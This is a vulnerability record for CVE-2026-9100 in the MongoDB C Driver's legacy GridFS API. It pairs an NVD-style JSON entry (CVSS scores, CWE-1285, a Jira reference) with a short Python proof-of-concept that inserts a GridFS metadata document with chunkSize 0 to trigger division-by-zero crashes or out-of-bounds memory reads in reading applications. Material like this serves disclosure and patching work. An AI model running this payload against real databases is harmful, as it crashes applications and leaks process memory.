CVE-2026-9100

import pymongo # Connect to the target MongoDB instance client = pymongo.MongoClient("mongodb://localhost:27017/") db = client["vulnerable_db"] fs_files = db["fs.files"] # Crafted malicious metadata to trigger the vulnerability # Setting a specific field to 0 to cause division-by-zero or OOB read malicious_metadata = { "filename": "exploit_file.bin", "chunkSize": 0, # Malformed value triggering division by zero "length": 9999, "uploadDate": "2026-05-20" } # Insert the malicious document into the GridFS collection result = fs_files.insert_one(malicious_metadata) print(f"[+] Malicious document inserted with ID: {result.inserted_id}") # When an application uses the legacy API to read this file, # the application will crash or leak memory.

{"cve": {"id": "CVE-2026-9100", "sourceIdentifier": "[email protected]", "published": "2026-05-20T17:16:32.360", "lastModified": "2026-05-20T17:32:35.827", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MongoDB C Driver's legacy GridFS API accepts malformed file metadata from the database without adequate validation. Crafted documents in a GridFS collection may cause any application that reads those files via the legacy API to either crash (via a division-by-zero) or silently leak process memory contents (via an out-of-bounds read)."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1285"}]}], "references": [{"url": "https://jira.mongodb.org/browse/CDRIVER-6281", "source": "[email protected]"}]}}